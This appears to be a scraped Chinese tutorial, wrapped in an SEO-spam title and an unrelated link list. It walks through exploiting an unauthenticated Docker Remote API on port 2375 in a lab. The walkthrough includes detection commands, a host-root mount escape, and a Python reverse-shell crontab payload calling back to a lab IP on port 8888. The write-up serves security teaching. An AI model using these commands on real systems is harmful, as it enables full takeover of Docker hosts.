当前位置: 首页 > news >正文

南通如何制作一个网站成都网站设计合理柚v米科技

南通如何制作一个网站,成都网站设计合理柚v米科技,长宁区网站制,广西城乡建设局和住建局官网Docker Remote API 未授权访问逃逸 基础知识 Docker Remote API 是一个取代远程命令行界面(rcli)的REST API,其默认绑定2375端口,如管理员对其配置不当可导致未授权访问漏洞。攻击者利用 docker client 或者 http 直接请求就可以…

Docker Remote API 未授权访问逃逸

基础知识

Docker Remote API 是一个取代远程命令行界面(rcli)的REST API,其默认绑定2375端口,如管理员对其配置不当可导致未授权访问漏洞。攻击者利用 docker client 或者 http 直接请求就可以访问这个 API,可导致敏感信息泄露,甚至可进一步利用Docker自身特性,借助容器逃逸,最终完全控制宿主服务器

Docker daemon 是 Docker 引擎的后台进程,也称为 Dockerd。它是一个长时间运行的进程,负责管理 Docker 镜像、容器、网络和存储等各种资源,并提供一个 API 以供 Docker 客户端进行交互

当您在 Docker 主机上使用 Docker 命令时(例如 docker run),Docker 客户端将向 Docker daemon 发送命令请求,并通过 Docker API 进行通信。Docker daemon 接收并解析这些请求,并在其内部管理对象存储中创建、修改或删除相应的 Docker 资源。随后,Docker daemon 将响应结果发送回客户端,然后等待下一个命令请求

另外,Docker daemon 也负责监视 Docker 主机上正在运行的容器和服务,以及处理与 Docker 网络和存储相关的操作。它还可以与其他 Docker daemon 进行通信,以实现跨主机的镜像和容器管理。总之,Docker daemon 是整个 Docker 引擎的核心组件,负责实现 Docker 的各种功能,并将其暴露给用户和其他程序使用

环境搭建

首先我们执行如下的代码将 docker 守护进程监听在 0.0.0.0

dockerd -H=0.0.0.0:2375 -H unix:///var/run/docker.sock
  • -H=0.0.0.0:2375:指定 Docker daemon 监听的 TCP 端点地址和端口号。0.0.0.0 表示绑定到任何可用网络接口上,即允许从其他主机上的容器或者计算机上运行的 Docker 客户端连接。2375 是 Dockerdaemon 监听的端口号
  • -H unix:///var/run/docker.sock:指定 Docker daemon 监听的 Unix 域套接字路径,即 /var/run/docker.sock

​ 运行这个命令,Docker daemon 将同时监听 TCP 端点和 Unix 域套接字,并且没有安全保护

在这里插入图片描述

执行后出现上面错误是由于当前环境docker已经在运行中了,需要先停止docker

systemctl stop docker

在执行下面的命令

dockerd -H=0.0.0.0:2375 -H unix:///var/run/docker.sock

在这里插入图片描述

通过攻击机查看靶机所安装的镜像

docker -H tcp://IP:2375 images

在这里插入图片描述

漏洞检测

访问 http 请求 curl 192.168.41.132:2375/info,如果返回内容含有DockerRootDir等字符,则证明存在docker未授权访问漏洞

curl 192.168.41.132:2375/info | grep DockerRootDir

在这里插入图片描述

或者输入如下的命令

IP=`hostname -i | awk -F. '{print $1 "." $2 "." $3 ".1"}' ` && wget http://$IP:2375

如果返回 404 说明漏洞存在

在这里插入图片描述

漏洞复现

攻击机运行以下的命令查看对方的容器

docker -H tcp://<target>:2375 ps -a

在这里插入图片描述

新运行一个容器,挂载点设置为服务器的根目录挂载至/mnt目录下,此时修改/mnt/etc/crontab相当于修改/etc/crontab文件

docker -H tcp://192.168.41.132:2375 run -it -v /:/mnt nginx:latest /bin/bash

在这里插入图片描述

在容器内执行命令,将反弹shell的脚本写入到/etc/crontab文件

echo -e "* * * * * root /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.41.132\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n" >> /mnt/etc/crontab

在这里插入图片描述

在攻击开启监听

nc -lvvp 8888

在这里插入图片描述

等待一分钟过后,攻击机收到反弹shell

在这里插入图片描述

http://www.bjxfkj.com.cn/article/110510.html

相关文章:

  • 做百度手机网站点网站建设若干意见
  • 网站搭建实训总结站长工具综合权重查询
  • 阿里云怎么做静态网站扬州专业做网站企业
  • 网站建设属于行政那个模块文化网站设计经典案例
  • 京东网站设计特点旅游电子商务网站建设与研究
  • 网站建设与实现的要求与务郑州seo外包平台
  • 闸北网站优化公司做网站还有希望吗
  • 自动化优化系统网站建设wordpress安装不上主题
  • 百度网站做不做wordpress 售后 插件
  • 一般网站建设多少钱阿里巴巴网站建设论文
  • 福州火车站最新消息建设银行沈阳分行网站
  • 网站备案有哪些费用企业网站制作 西安
  • 商城型网站的概念免费生成图片的网站
  • 宁波网站制作建设wordpress英文变中文版
  • 兰州市城乡建设及网站网站建设合同交什么印花税
  • 广州网站建设首选快优如何做学校的网站
  • 昆山推广用什么网站比较好餐饮网站开发毕业设计模板
  • 承德公司网站建设高端网站制作网站建设
  • 成都成华网站建设成都网络营销策划
  • 企业网站建设遵循的原则开发游戏的软件有哪些
  • 做企业网站域名wordpress有趣代码
  • 网站建设域名注册wordpress文章分页插件
  • 网站平台建设工作汇报本地电脑做服务器建网站
  • 江苏搜索引擎优化太原网站制作优化seo公司
  • 网站制作技术支持如何将网站上传到空间
  • 香水网站设计网页推广文章的步骤
  • 宁波附近的seo推广购物网站seo关键词定位
  • 兰州做网站哪家好python基础教程电子版书籍
  • 京东网站建设流程向网站服务器上传网页文件下载
  • 东莞网络推广网站邢台网站建设邢台